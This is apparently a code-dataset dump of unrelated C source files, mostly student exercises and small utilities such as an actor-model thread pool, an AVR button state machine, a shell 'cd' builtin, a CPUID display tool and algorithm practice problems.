language
large_stringclasses
1 value
text
stringlengths
9
2.95M
C
#include "powermon.h" void Initialize(int fd); void Run(int fd) { //int16_t x, y, z; float current = 0, voltage = 0; printf("Pmon Demo Launched\n"); for (int i=0; i<10; i++){ current = 0; voltage = 0; Initialize(fd); Pmon_VoltageCurrentRead(fd, &voltage, &current); printf("Voltage= %.3fV Current= %.3fA \n", voltage, current); usleep(100000); } } void Initialize(int fd) { uint8_t data = 0; data |= (0<<CONVERT_VOLTAGE_CONTINUOUSLY); //ON data |= (1<<CONVERT_VOLTAGE_ONCE); //OFF data |= (0<<CONVERT_CURRENT_CONTINUOUSLY); //ON data |= (1<<CONVERT_CURRENT_ONCE); //OFF data |= (0<<VRANGE); //Full range of 26.52V data |= (0<<5); // NOTHING data |= (0<<STATUS_READ); //Off writeData(fd, &data, 1); usleep(100000); printf("Initialize worked\n"); } int main() { int fd = init(); printf("Let's start\n"); Initialize(fd); Run(fd); return 0; }
C
#include "cacti.h" #include "err.h" #include <pthread.h> #include <semaphore.h> #include <stddef.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <signal.h> #include <errno.h> #define CASTSIZE 1024 typedef struct actor { const actor_id_t id; actor_id_t *id_public; //secure to share pointer id role_t *const role; message_t *messages; //message queue bool alive; bool in_queue; bool operated; long nmess; //num of messages in queue long fmess; //first queue message pthread_mutex_t *mutex; void** state; } actor_t; long cast = 0; long siz; long first = 0; actor_t *actors; //actors structure long dead; //number of dead actors bool del; //is system in delete mode bool sig; //is SIGINT catched pthread_attr_t attr; pthread_t th[POOL_SIZE]; pid_t tid[POOL_SIZE]; actor_id_t aid[POOL_SIZE]; pthread_mutex_t lock; //secure all global variables pthread_mutex_t queue_mutex; //secure queue of actors to operate sem_t queue_sem; // secure actors operations int first_in_queue; int in_queue; actor_id_t *actors_queue; actor_id_t actor_id_self() { pid_t p = pthread_self(); for(int i = 0; i < POOL_SIZE; i++) { if (tid[i] == p) return aid[i]; } return -1; } void actor_system_end() { int err; void *retval; for(int i = 1; i < POOL_SIZE; i++) { if ((err = pthread_join(th[i], &retval)) != 0) syserr(err,"join in end"); } for(int i = 0; i < cast; i++) { free(actors[i].messages); free(actors[i].state); free(actors[i].id_public); if((err = pthread_mutex_lock(actors[i].mutex)) != 0) syserr(err, "mutex lock\n"); if((err = pthread_mutex_unlock(actors[i].mutex)) != 0) syserr(err, "mutex unlock\n"); if ((err = pthread_mutex_destroy(actors[i].mutex)) != 0) syserr(err, "mutex actor destroy"); free(actors[i].mutex); } free(actors); free(actors_queue); if ((err = pthread_mutex_destroy(&queue_mutex)) != 0) syserr(err, "destroy in end"); if ((err = pthread_mutex_destroy(&lock)) != 0) syserr(err, "destroy in end"); if((err = sem_destroy(&queue_sem)) != 0) syserr(err,"sem destroy"); if ((err = pthread_attr_destroy(&attr)) != 0) syserr(err, "attr destroy"); cast = 0; } void *worker(void *data) { long id; id = *((long*) data); free(data); int err; tid[id] = pthread_self(); while(true) { if((err = sem_wait(&queue_sem)) != 0) syserr(err, "sem wait in worker"); if ((err = pthread_mutex_lock(&queue_mutex)) != 0) syserr(err,"lock in worker"); if(del) { if((err = sem_post(&queue_sem)) != 0) syserr(err, "post in end"); if ((err = pthread_mutex_unlock(&queue_mutex)) != 0) syserr(err,"lock in worker"); if(id == 0) actor_system_end(); return 0; } in_queue--; actor_id_t actor = actors_queue[first_in_queue]; first_in_queue = (first_in_queue + 1) % CAST_LIMIT; aid[id] = actor; actor -= first; if ((err = pthread_mutex_unlock(&queue_mutex)) != 0) syserr(err, "unlock in worker"); if ((err = pthread_mutex_lock(actors[actor].mutex)) != 0) syserr(err,"lock in worker"); long nmess = actors[actor].nmess; long fmess = actors[actor].fmess; actors[actor].in_queue = false; actors[actor].operated = true; if ((err = pthread_mutex_unlock(actors[actor].mutex)) != 0) syserr(err, "unlock in worker"); for(int i = 0; i < nmess; i++) { message_t mess = actors[actor].messages[(fmess + i) % ACTOR_QUEUE_LIMIT]; if(mess.message_type == MSG_GODIE) { actors[actor].alive = false; } if(mess.message_type == MSG_SPAWN) { if ((err = pthread_mutex_lock(&lock)) != 0) syserr(err, "lock lock"); if (cast == CAST_LIMIT || sig) { if ((err = pthread_mutex_unlock(&lock)) != 0) syserr(err, "unlock lock"); } else { if(cast == siz) { siz *= 2; actor_t *actors_aux = malloc(siz * sizeof *actors); memcpy(actors_aux, actors, cast*sizeof *actors); free(actors); actors = actors_aux; } long ac = cast; *(actor_id_t *)&actors[ac].id = cast + first; cast += 1; actors[ac].id_public = malloc(sizeof(actor_id_t)); *actors[ac].id_public = actors[ac].id; *(role_t **)&actors[ac].role = (role_t *) mess.data; actors[ac].messages = (message_t *) malloc(ACTOR_QUEUE_LIMIT * sizeof(message_t)); actors[ac].alive = true; actors[ac].nmess = 0; actors[ac].fmess = 0; actors[ac].operated = false; actors[ac].in_queue = false; actors[ac].state = malloc(sizeof(void**)); actors[ac].mutex = malloc(sizeof(pthread_mutex_t)); if ((err = pthread_mutex_init(actors[ac].mutex, 0)) != 0) syserr(err,"init mutex in spawn"); *actors[ac].state = 0; if ((err = pthread_mutex_unlock(&lock)) != 0) syserr(err, "unlock lock"); message_t hell; hell.message_type = MSG_HELLO; hell.nbytes = sizeof(actor_id_t *); *actors[actor].id_public = actors[actor].id; hell.data = actors[actor].id_public; send_message(ac + first, hell); } } if(mess.message_type != MSG_GODIE && mess.message_type != MSG_SPAWN) { (*(actors[actor].role->prompts[mess.message_type]))(actors[actor].state, mess.nbytes, mess.data); } if ((err = pthread_mutex_lock(actors[actor].mutex)) != 0) syserr(err,"lock in worker"); actors[actor].nmess--; actors[actor].fmess = (actors[actor].fmess + 1) % ACTOR_QUEUE_LIMIT; if ((err = pthread_mutex_unlock(actors[actor].mutex)) != 0) syserr(err,"unlock in worker"); } if ((err = pthread_mutex_lock(actors[actor].mutex)) != 0) syserr(err,"lock in worker"); actors[actor].operated = false; if(actors[actor].in_queue) { if ((err = pthread_mutex_lock(&queue_mutex)) != 0) syserr(err, "lock in send"); actors_queue[(first_in_queue + in_queue) % CAST_LIMIT] = actor + first; in_queue++; if ((err = sem_post(&queue_sem)) != 0) syserr(err, "post in send"); if ((err = pthread_mutex_unlock(&queue_mutex)) != 0) syserr(err, "unlock in send"); } else { if(!actors[actor].alive) { if((err = pthread_mutex_lock(&lock)) != 0) syserr(err, "lock in worker"); dead++; if(dead >= cast) { del = true; if((err = sem_post(&queue_sem)) != 0) syserr(err, "post in end"); if((err = pthread_mutex_unlock(&lock)) != 0) syserr(err, "unlock in worker"); } else if((err = pthread_mutex_unlock(&lock)) != 0) syserr(err, "unlock in worker"); } } if ((err = pthread_mutex_unlock(actors[actor].mutex)) != 0) syserr(err, "unlock in worker"); } } void catch (int sign) { int err; (void)sign; if ((err = pthread_mutex_lock(&lock)) != 0) syserr(err, "lock in sig"); sig = true; long ct = cast; if ((err = pthread_mutex_unlock(&lock)) != 0) syserr(err, "unlock in sig"); for (int i = 0; i < ct; i++) { if ((err = pthread_mutex_lock(actors[i].mutex)) != 0) syserr(err, "lock in sig"); actors[i].alive = false; if(actors[i].nmess == 0) { message_t kil; kil.message_type = MSG_GODIE; kil.nbytes = 0; kil.data = NULL; actors[i].messages[(actors[i].nmess + actors[i].fmess) % ACTOR_QUEUE_LIMIT] = kil; actors[i].nmess++; if (!actors[i].in_queue) { actors[i].in_queue = true; if(!actors[i].operated) { if ((err = pthread_mutex_lock(&queue_mutex)) != 0) syserr(err, "lock in send"); actors_queue[(first_in_queue + in_queue) % CAST_LIMIT] = i + first; in_queue++; if ((err = sem_post(&queue_sem)) != 0) syserr(err, "post in send"); if ((err = pthread_mutex_unlock(&queue_mutex)) != 0) syserr(err, "unlock in send"); } } } if ((err = pthread_mutex_unlock(actors[i].mutex)) != 0) syserr(err, "lock in sig"); } } int actor_system_create(actor_id_t *actor, role_t *const role){ int err; sig = false; if ((err = pthread_mutex_init(&lock, 0)) != 0) return -6; if ((err = pthread_mutex_lock(&lock)) != 0) return -1; if (cast > 0) { if ((err = pthread_mutex_unlock(&lock)) != 0) return -11; return -100; } struct sigaction action; sigset_t block_mask; sigemptyset (&block_mask); sigaddset(&block_mask, SIGINT); action.sa_handler = catch; action.sa_mask = block_mask; action.sa_flags = 0; if (sigaction (SIGINT, &action, 0) == -1) return -15; cast = 1; siz = CASTSIZE; dead = 0; del = false; if(CAST_LIMIT < siz) siz = CAST_LIMIT; if ((err = pthread_mutex_unlock(&lock)) != 0) return -11; if((err = sem_init(&queue_sem, 0, 0)) != 0) return -1; if ((err = pthread_mutex_init(&queue_mutex, 0)) != 0) return -12; actors = malloc(siz * sizeof (*actors)); actors[0].messages = (message_t*) malloc(ACTOR_QUEUE_LIMIT * sizeof(message_t)); *(actor_id_t *)&actors[0].id = first; actors[0].id_public = malloc(sizeof(actor_id_t)); *actors[0].id_public = actors[0].id; *(role_t **)&actors[0].role = role; actors[0].alive = true; actors[0].nmess = 0; actors[0].fmess = 0; actors[0].operated = false; actors[0].in_queue = false; actors[0].state = malloc(sizeof(void**)); *actors[0].state = 0; actors[0].mutex = malloc(sizeof(pthread_mutex_t)); if ((err = pthread_mutex_init(actors[0].mutex, 0)) != 0) return -10; *actor = first; long *worker_arg; if((err = pthread_attr_init(&attr)) != 0) return -2; if((err = pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE)) != 0) return -3; actors_queue = malloc(CAST_LIMIT * sizeof *actors_queue); first_in_queue = 0; in_queue = 0; for (int i = 0; i < POOL_SIZE; i++) { worker_arg = malloc(sizeof(long)); *worker_arg = i; tid[i] = -1; if((err = pthread_create(&th[i], &attr, worker, worker_arg)) != 0) return -5; } message_t mes; mes.message_type = MSG_HELLO; mes.nbytes = 0; mes.data = NULL; send_message(first, mes); return 0; } void actor_system_join(actor_id_t actor) { int err; (void)(actor); void *retval; if ((err = pthread_join(th[0], &retval)) != 0) syserr(err,"join in join"); } int send_message(actor_id_t actor_id, message_t message) { int err; if ((err = pthread_mutex_lock(&lock)) != 0) syserr(err, "lock lock in send"); actor_id_t actor = actor_id - first; if (actor < 0 || cast <= actor) { if ((err = pthread_mutex_unlock(&lock)) != 0) syserr(err, "unlock in send"); return -2; } if ((err = pthread_mutex_unlock(&lock)) != 0) syserr(err, "unlock in send"); if ((err = pthread_mutex_lock(actors[actor].mutex)) != 0) syserr(err, "actor lock in send"); if(actors[actor].nmess > 0 && !actors[actor].in_queue && !actors[actor].operated) syserr(actor, "WTF"); if (!actors[actor].alive) { if ((err = pthread_mutex_unlock(actors[actor].mutex)) != 0) syserr(err, "unlock in send"); return -1; } if(actors[actor].nmess == ACTOR_QUEUE_LIMIT) { if ((err = pthread_mutex_unlock(actors[actor].mutex)) != 0) syserr(err, "unlock in send"); return -3; } actors[actor].messages[(actors[actor].nmess + actors[actor].fmess) % ACTOR_QUEUE_LIMIT] = message; actors[actor].nmess++; if (!actors[actor].in_queue) { actors[actor].in_queue = true; if(!actors[actor].operated) { if ((err = pthread_mutex_lock(&queue_mutex)) != 0) syserr(err, "lock in send"); actors_queue[(first_in_queue + in_queue) % CAST_LIMIT] = actor_id; in_queue++; if ((err = sem_post(&queue_sem)) != 0) syserr(err, "post in send"); if ((err = pthread_mutex_unlock(&queue_mutex)) != 0) syserr(err, "unlock in send"); } } if ((err = pthread_mutex_unlock(actors[actor].mutex)) != 0) syserr(err, "unlock in send"); return 0; }
C
#include <stdio.h> #include <sys/prctl.h> #include <sys/capability.h> #include <sys/types.h> int main (void) { cap_t cap = cap_get_proc(); printf("Running with uid %d\n", getuid()); printf("Running with capabilities: %s\n", cap_to_text(cap, NULL)); cap_free(cap); return 0; }
C
#include <stdio.h> #include <stdlib.h> #include <string.h> int main() { int num = 0; char* input; input = (char*)malloc(sizeof(char)*100); scanf("%s", input); int length = strlen(input); for(int i = 0; i < length; i++) { if(i != 0 && i%10 == 0) printf("%s", "\n"); printf("%c", input[i]); } return 0; }
C
/* Author: lab * Partner(s) Name: * Lab Section: * Assignment: Lab # Exercise # * Exercise Description: [optional - include for your own benefit] * * I acknowledge all content contained herein, excluding template or example * code, is my own original work. */ #include <avr/io.h> #ifdef _SIMULATE_ #include "simAVRHeader.h" #endif unsigned char tmpA; unsigned char tmpB; unsigned char prev; // keeps track of the last state of Pin A0 to see if it still being pressed enum TurnOn {TurnOn_Start, TurnOn_PB0, TurnOn_PB0_Wait, TurnOn_PB1, TurnOn_PB1_Wait} TurnOn_State; void Blink(){ switch(TurnOn_State){ case TurnOn_Start: TurnOn_State = TurnOn_PB0; break; case TurnOn_PB0: if(tmpA){ TurnOn_State = TurnOn_PB0_Wait; tmpB = 0x02; }else if(!tmpA) { TurnOn_State = TurnOn_PB0; } break; case TurnOn_PB0_Wait: if(tmpA){ TurnOn_State = TurnOn_PB0_Wait; } else if(!tmpA){ TurnOn_State = TurnOn_PB1; } break; case TurnOn_PB1: if(tmpA){ TurnOn_State = TurnOn_PB1_Wait; tmpB = 0x01; } else if (!tmpA){ TurnOn_State = TurnOn_PB1; } break; case TurnOn_PB1_Wait: if(tmpA){ TurnOn_State = TurnOn_PB1_Wait; } else if(!tmpA){ TurnOn_State = TurnOn_PB0; } break; default: TurnOn_State = TurnOn_Start; break; } switch(TurnOn_State){ case TurnOn_PB0: tmpB = 0x01; break; case TurnOn_PB1: tmpB = 0x02; break; } PORTB = tmpB; } int main(void) { /* Insert DDR and PORT initializations */ DDRA = 0x00; PORTA = 0xFF; DDRB = 0xFF; PORTB = 0x00; TurnOn_State = TurnOn_PB0; /* Insert your solution below */ while (1) { tmpA = PINA & 0x01; Blink(); } }
C
#include <signal.h> #include <sys/types.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include "../my_list.h" #include "../my.h" int launch_cd(char **commands, t_envlist **env_cp) { char **saved_path; t_envlist *start; start = *env_cp; saved_path = xmalloc(sizeof(*saved_path) * 2); while((*env_cp) != NULL) { if(strcmp((*env_cp)->name, "HOME") == 0) saved_path[0] = strdup((*env_cp)->info); else if(strcmp((*env_cp)->name, "PWD") == 0) saved_path[1] = strdup((*env_cp)->info); (*env_cp) = (*env_cp)->next; } *env_cp = start; if(commands[1] == 0 || (is_full_space2(commands[1]) && commands[1] == 0 || (commands[2] == 0 && commands[1][0] == '~' && commands[1][1] == '\0'))) { if(test_chdir(saved_path, env_cp)) return(0); } moar_cd(commands ,env_cp); } int moar_cd(char **commands, t_envlist **env_cp) { char **saved_path; t_envlist *start; start = *env_cp; saved_path = xmalloc(sizeof(*saved_path) * 2); while((*env_cp) != NULL) { if(strcmp((*env_cp)->name, "SAVED_PATH") == 0) saved_path[0] = strdup((*env_cp)->info); else if(strcmp((*env_cp)->name, "PWD") == 0) saved_path[1] = strdup((*env_cp)->info); (*env_cp) = (*env_cp)->next; } (*env_cp) = start; moar_cd2(commands, env_cp, saved_path); } int moar_cd2(char **commands, t_envlist **env_cp, char **saved_path) { t_envlist *start; if(commands[1][0] == '-' && commands[1][1] == '\0') { if(chdir(saved_path[0]) == -1) { printf("%s: No such file or directory.\n", saved_path[0]); return(0); } my_setenv("PWD", saved_path[0], env_cp); my_setenv("SAVED_PATH", saved_path[1], env_cp); return(0); } moar_cd3(commands, env_cp, saved_path); } int moar_cd3(char **commands, t_envlist **env_cp, char **saved_path) { if(!(chdir(commands[1]))) { my_setenv("SAVED_PATH", saved_path[1], env_cp); my_setenv("PWD", commands[1], env_cp); return(0); } else { printf("%s: No such file or directory.\n", commands[1]); return(0); } } int test_chdir(char **saved_path, t_envlist **env_cp) { if(chdir(saved_path[0]) == -1) { printf("%s: No such file or directory.\n", saved_path[0]); return(1); } else { my_setenv("PWD", saved_path[0], env_cp); my_setenv("SAVED_PATH", saved_path[1], env_cp); return(1); } }
C
#include <stdio.h> int main() { int a = 4, b = 8, c = 1, d = 1 ; printf( "Addition: %d \n", a + b ) ; printf( "Subtraction: %d \n", b - a ) ; printf( "Multiplication: %d \n", a * b ) ; printf( "Division: %d \n", b / a ) ; printf( "Modulud: %d \n", a % b ) ; printf( "Postfix increment: %d \n", c++ ) ; printf( "Postfix now: %d \n", c ) ; printf( "Prefix increment: %d \n", ++d ) ; printf( "Prefix now %d \n", d ) ; return 0 ; }
C
// // przedmioty.h // BazaStudentow // // Created by Maciej Dmowski on 19/11/2018. // Copyright © 2018 Maciej Dmowski. All rights reserved. // #ifndef studenci_h #define studenci_h #include <stdlib.h> #include <string.h> #include "czyscBufor.h" #include "wczytajDodatniInt.h" #include "wykladowcy.h" #include "przedmioty.h" #include <stdbool.h> struct student{ char imie[30]; char nazwisko[30]; int indeks; char przedmioty[500]; }; typedef struct student student; struct ElListyStudenci{ struct student element; struct ElListyStudenci* nast; }; typedef struct ElListyStudenci ElListyStudenci; ElListyStudenci* dodajElStudenci( ElListyStudenci* glowa, student el ); void zwolnijStudent( ElListyStudenci* glowa ); student dodajStudent( ElListyStudenci* elStudenci, ElListyPrzedmioty* elPrzedmioty ); void wypiszStudent( ElListyStudenci* glowa ); int ileStudent(ElListyStudenci* elListy); void usunStudent(ElListyStudenci* elListy, ElListyStudenci** adresWsk, ElListyPrzedmioty* elPrzedmioty); void sortPoNazwStudent(ElListyStudenci* elListy); void sortPoIndeksStudent(ElListyStudenci* elListy); void sortPoImieStudent(ElListyStudenci* elListy); void sortStudenci(ElListyStudenci* elListy); ElListyStudenci* operacjeStudenci(ElListyStudenci* glowaStudenci, ElListyPrzedmioty* glowaPrzedmioty); #endif /* przedmioty_h */
C
/* DIGITAL SIGNATURE(S): ==================== List the student author(s) of this code below: Fullname Seneca Email Address --------------------------- ---------------------------- 1)Harkirat Singh Virdi [email protected] 2)Tahsin Rahman [email protected] 3)Ulviyya Bakhshizade [email protected] +--------------------------------------------------------+ | FILE: main.c | +--------------------------------------------------------+ | 2 0 2 0 ~ S U M M E R | | I P C : B T P | | 1 4 4 : 1 0 0 | | FINAL ASSESSMENT PART - 2 | | | | S E N E C A C O L L E G E | +--------------------------------------------------------+ */ #define _CRT_SECURE_NO_WARNINGS #include "file_helper.h" #include "menu.h" #define DATAFILE "data.txt" int main(void) { // TODO: Code the necessary logic for your solution below // // NOTE: Use modularity whenever possible in your design // // HINTS: // 1) You will need to load the file data and store // it to a data structure array // (MUST USE: provided "readFileRecord" function) struct SkierInfo info[MAXRECORD]; FILE* data_file = NULL; int size = 0; data_file = fopen(DATAFILE, "r"); if (!data_file) { printf("Failed to open file %s\n", DATAFILE); return -1; } while (!readFileRecord(data_file, &info[size])) { ++size; } fclose(data_file); // // 2) Create a menu system to provide the user with // the reporting options // // 3) Generate the user-selected report menu(info,size); return 0; }
C
/* ********** exercise 12b Lesson 8 - Programming in C Transpose Matrix Function variable length arrays ***** */ #include <stdio.h> int main (void) { void transposeMatrix (int nRows, int nCols, char matrixA[nRows][nCols], char matrixB[nCols][nRows]); void displayMatrix (int nRows, int nCols, char matrix[nRows][nCols]); printf ("\t\t\nMatrix Transpose\n\n"); char matrixA[4][5] = { {'A', 'B', 'C', 'D', 'E'}, {'F', 'G', 'H', 'I', 'J'}, {'K', 'L', 'M', 'N', 'O'}, {'P', 'Q', 'R', 'S', 'T'} }; char matrixB[5][4]; /* Here the original matrix (specified in the main function) is used when calling the displayMatrix function.... ...This allows for comparison with the matrix whose display results from the transposeMatrix function call... */ displayMatrix(4, 5, matrixA); transposeMatrix(4, 5, matrixA, matrixB); return 0; } void transposeMatrix (int nRows, int nCols, char matrixA[nRows][nCols], char matrixB[nCols][nRows]) { int row, column; void displayMatrix (int nRows, int nCols, char matrix[nRows][nCols]); for (row = 0; row < nRows; row++) { for (column = 0; column < nCols; column++) { matrixB[column][row] = matrixA[row][column]; } } displayMatrix (nCols, nRows, matrixB); } /* The variable names nRows and nCols could cause confusion here because they are used in both functions... ...despite the fact that they represent different (in this case opposite) values.... */ void displayMatrix (int nRows, int nCols, char matrix[nRows][nCols]) { int row, column; for ( row = 0; row < nRows; row++ ) { for (column = 0; column < nCols; column++) printf("%5c", matrix[row][column]); printf ("\n"); } printf("\n\n\n"); }
C
//////////////////////////////////////////////////////////// // testccpuid.cpp : ccpuid.h, ʾеCPUIDϢ. // Author: zyl910 // Blog: http://www.cnblogs.com/zyl910 // URL: http://www.cnblogs.com/zyl910/archive/2012/07/11/ccpuid.html // Version: V1.0 // Updata: 2012-07-11 //////////////////////////////////////////////////////////// #include <windows.h> #include <stdio.h> #include <conio.h> #include <tchar.h> #include "ccpuid.h" bool bShowDesc = true; // ʾϢ // ӡCPUIDֶ_ij. void prtCcpuid_Item(INT32 fid, INT32 fidsub, const INT32 CPUInfo[4]) { static const char* RegName[4] = { "EAX", "EBX", "ECX", "EDX" }; INT32 mask = CPUIDFIELD_MASK_FID | CPUIDFIELD_MASK_FIDSUB; INT32 cur = CPUIDFIELD_MAKE(fid, fidsub, 0, 0, 1) & mask; int i; for(i=0; i<CCPUID::CPUFDescLen; ++i) { const CPUIDFIELDDESC& v = CCPUID::CPUFDesc[i]; if ((v.cpuf&mask)==cur) { CPUIDFIELD f = v.cpuf; int bits = CPUIDFIELD_LEN(f); int pos = CPUIDFIELD_POS(f); int reg = CPUIDFIELD_REG(f); UINT32 n = getcpuidfield_buf(CPUInfo, f); //UINT32 n = __GETBITS32(CPUInfo[reg], pos, bits); if (bits>1) { printf("\t%s[%2d:%2d]", RegName[reg], pos+bits-1, pos); } else { printf("\t%s[ %2d]", RegName[reg], pos); } printf("=%s:\t0x%X\t(%u)", v.szName, n, n); if (bShowDesc) { printf("\t// %s", v.szDesc); } printf("\n"); } } } // ӡCPUIDֶ. void prtCcpuid(const CCPUID& ccid) { int i; for(i=0; i<ccid.InfoCount(); ++i) { const CPUIDINFO& v = ccid.Info[i]; printf("0x%.8X[%d]:\t%.8X\t%.8X\t%.8X\t%.8X\n", v.fid, v.fidsub, v.dw[0], v.dw[1], v.dw[2], v.dw[3]); // ӹܺ. ǹ淶ӹܺţΪ0ӹܺ0ֶӹܺŵϢ INT32 fidsub = v.fidsub; switch(v.fid) { case 0x4: fidsub=0; case 0xB: fidsub=0; case 0x8000001D: fidsub=0; } // item prtCcpuid_Item(v.fid, fidsub, v.dw); // otheritem if (0==v.fid) // Vendor-ID (Function 02h) { printf("\tVendor:\t%s\n", ccid.Vendor()); } else if (0x80000004==v.fid) // Processor Brand String (Function 80000002h,80000003h,80000004h) { printf("\tBrand:\t%s\n", ccid.Brand()); } else if (0x2==v.fid) // Cache Descriptors (Function 02h) { for(int j=0; j<=3; ++j) { INT32 n = v.dw[j]; if (n>0) // λΪ0Ҳȫ0 { for(int k=0; k<=3; ++k) { if (j>0 || k>0) // EAXĵ8λǻϢ { int by = n & 0x00FF; if (by>0) { printf("\t0x%.2X:\t%s\n", by, CCPUID::CacheDesc[by]); } } n >>= 8; } } } } } } int testcode() { int i; //CCPUID ccid; //ccid.RefreshAll(); CCPUID& ccid = CCPUID::cur(); // base info printf("CCPUID.InfoCount:\t%d\n", ccid.InfoCount()); printf("CCPUID.LFuncStd:\t%.8Xh\n", ccid.LFuncStd()); printf("CCPUID.LFuncExt:\t%.8Xh\n", ccid.LFuncExt()); printf("CCPUID.Vendor:\t%s\n", ccid.Vendor()); //printf("CCPUID.Brand:\t%s\n", ccid.Brand()); printf("CCPUID.BrandTrim:\t%s\n", ccid.BrandTrim()); // simd info printf("CCPUID.MMX:\t%d\t// hw: %d\n", ccid.mmx(), ccid.hwmmx()); printf("CCPUID.SSE:\t%d\t// hw: %d\n", ccid.sse(), ccid.hwsse()); for(i=1; i<sizeof(CCPUID::SseNames)/sizeof(CCPUID::SseNames[0]); ++i) { if (ccid.hwsse()>=i) printf("\t%s\n", CCPUID::SseNames[i]); } printf("SSE4A:\t%d\n", ccid.GetField(CPUF_SSE4A)); printf("AES:\t%d\n", ccid.GetField(CPUF_AES)); printf("PCLMULQDQ:\t%d\n", ccid.GetField(CPUF_PCLMULQDQ)); printf("CCPUID.AVX:\t%d\t// hw: %d\n", ccid.avx(), ccid.hwavx()); for(i=1; i<sizeof(CCPUID::AvxNames)/sizeof(CCPUID::AvxNames[0]); ++i) { if (ccid.hwavx()>=i) printf("\t%s\n", CCPUID::AvxNames[i]); } printf("F16C:\t%d\n", ccid.GetField(CPUF_F16C)); printf("FMA:\t%d\n", ccid.GetField(CPUF_FMA)); printf("FMA4:\t%d\n", ccid.GetField(CPUF_FMA4)); printf("XOP:\t%d\n", ccid.GetField(CPUF_XOP)); // field info printf("== fields ==\n"); prtCcpuid(ccid); return 0; }
C
/* Given an array of integers A sorted in non-decreasing order, return an array of the squares of each number, also in sorted non-decreasing order. Example 1: Input: [-4,-1,0,3,10] Output: [0,1,9,16,100] Example 2: Input: [-7,-3,2,3,11] Output: [4,9,9,49,121] Note: 1 <= A.length <= 10000 -10000 <= A[i] <= 10000 A is sorted in non-decreasing order. */ /** * Note: The returned array must be malloced, assume caller calls free(). */ #if 0 int cmp(void *a,void *b) { return *(int*)a-*(int*)b; } int* sortedSquares(int* A, int ASize, int* returnSize){ int *result=malloc(sizeof(int)*ASize); int i=0; *returnSize=ASize; for(i=0;i<ASize;i++) { result[i]=A[i]*A[i]; } qsort(result,ASize,sizeof(int),cmp); return result; } #else int* sortedSquares(int* A, int ASize, int* returnSize){ int *result=malloc(sizeof(int)*ASize); int i=0,j=ASize-1; int cnt=ASize-1; int sq1=0,sq2=0; *returnSize=ASize; while(cnt>=0) { sq1=A[i]*A[i]; sq2=A[j]*A[j]; if(sq1>=sq2) { result[cnt--]=sq1; i++; } else { result[cnt--]=sq2; j--; } } return result; } #endif
C
#include <stdio.h> int arraysum(int n, int a[]){ int sum = 0; int i = 0; for(i=0;i<n;i++){ sum += a[i]; } return sum; } int main() { int n, i, sum, avg; int count = 0; int score[100] = {0}; scanf("%d", &n); for(i=0;i<n;i++){ scanf("%d", &score[i]); } sum = arraysum(n, score); avg = sum / n; if(((avg*10) % 10) > 0){ avg++; } for(i=0;i<n;i++){ if(score[i] >= avg){ count++; } } printf("%d", count); return 0; }
C
#include "holberton.h" #include <stdio.h> /** * main - check the code for Holberton School students. * * Return: Always 0. */ int main(void) { char s[] = "holberton!"; char a[] = "a"; char b[] = "Vagrant pro1234567890123456789vides a command-line tool for loading and managing virtual operating systems. We will be using the VirtualBox provider in this tutorial.Th guide will walk you through installing Vagrant on CentOS 7.how to install vagrant on centos7rerequisitesA user account with sudo privileges on CentOS 7 systemAccess to a command line/terminal (Menu > Applications > Utilities > TerminalThe yum package manager, included by defaultInstall Vagrant on CentOS tep Refresh Software RepositoriIn a"; char c[] = "as"; printf("%s\n", s); rev_string(s); printf("%s\n", s); printf("%s\n", a); rev_string(a); printf("%s\n", a); printf("%s\n", b); rev_string(b); printf("%s\n", b); printf("%s\n", c); rev_string(c); printf("%s\n", c); return (0); }
C
#include <stdio.h> int max(int a, int b) { if(a>b) return a; else return b; } int knapsack(int matr[][6],int weight[], int value[], int capa,int num) { if(capa <= 0) return 0; if(matr[num][capa] != 0) return matr[num][capa]; matr[num][capa] = max(value[num]+knapsack(matr,weight,value,capa-weight[num],num-1),knapsack(matr,weight,value,capa,num-1)); return matr[num][capa]; } int main() { int weight[5]; int value[5]; int matr[6][6]={0}; int capa; int i,j,k; printf("Enter weights of objects\n"); for(i=0;i<5;i++) { scanf("%d",&weight[i]); } printf("Enter benefits of objects\n"); for(i=0;i<5;i++) { scanf("%d",&value[i]); } printf("What is the capacity of knapsack?\n"); scanf("%d\n",&capa); printf("Maximum values tht can be carried in the knapsack:%d\n",knapsack(matr,weight,value,capa,5)); }
C
#include<stdio.h> #include<conio.h> void main() { int count; count=1; while(count<=10) { if(count%2!=0) { printf("%d",count); } count++; } getch(); }
C
#include <stdio.h> int main() { int x,*px,**pz; x=1; px=&x; int ***pt; pz = &px; pt = &pz; printf("***pt=%d\n",***pt); printf("x= %d\n",x); printf("&x= %u\n",&x); printf("px= %u\n",px); printf("*px+1= %d\n",*px+1); printf("px= %u\n",px); printf("*px= %d\n",*px); printf("*px+=1= %d\n",*px+=1); printf("px= %u\n",px); printf("(*px)++= %d\n",(*px)++); printf("px= %u\n",px); printf("*(px++)= %d\n",*(px++)); printf("px= %u\n",px); printf("*px++-= %d\n",*px++); printf("px= %u\n",px); return 1; }
C
#include<stdio.h> int main(int argc, char *argv[]){ unsigned int val = 3125442; long valLong = 12456321778963114; signed int signedInt = -12544; printf("Unsigned: %d\n",val); printf("Long:%ld\n", valLong); printf("Signed:%d\n", signedInt); return 0; }
C
#include "holberton.h" /** * _memcpy - This is my function copy the number the character to S * @dest: This is my entry and return * @src: This is the character to copy * @n: This is the number of Bytes * * Return: This is my result and Return dest */ char *_memcpy(char *dest, char *src, unsigned int n) { unsigned int a; char *d = dest; char *s = src; for (a = 0 ; a < n ; a++) { *d++ = *s++; } return (dest); }
C
#include "binary_trees.h" /** * binary_tree_insert_left - inserts a node as the left-child of another node * @parent: pointer to the node to insert the left-child in * @value: value to store in the new node * * Return: pointer to the created node */ binary_tree_t *binary_tree_insert_left(binary_tree_t *parent, int value) { binary_tree_t *t; if (parent == NULL) return (NULL); t = binary_tree_node(parent, value); if (t == NULL) return (NULL); t->left = parent->left; if (t->left != NULL) t->left->parent = t; parent->left = t; return (t); }
C
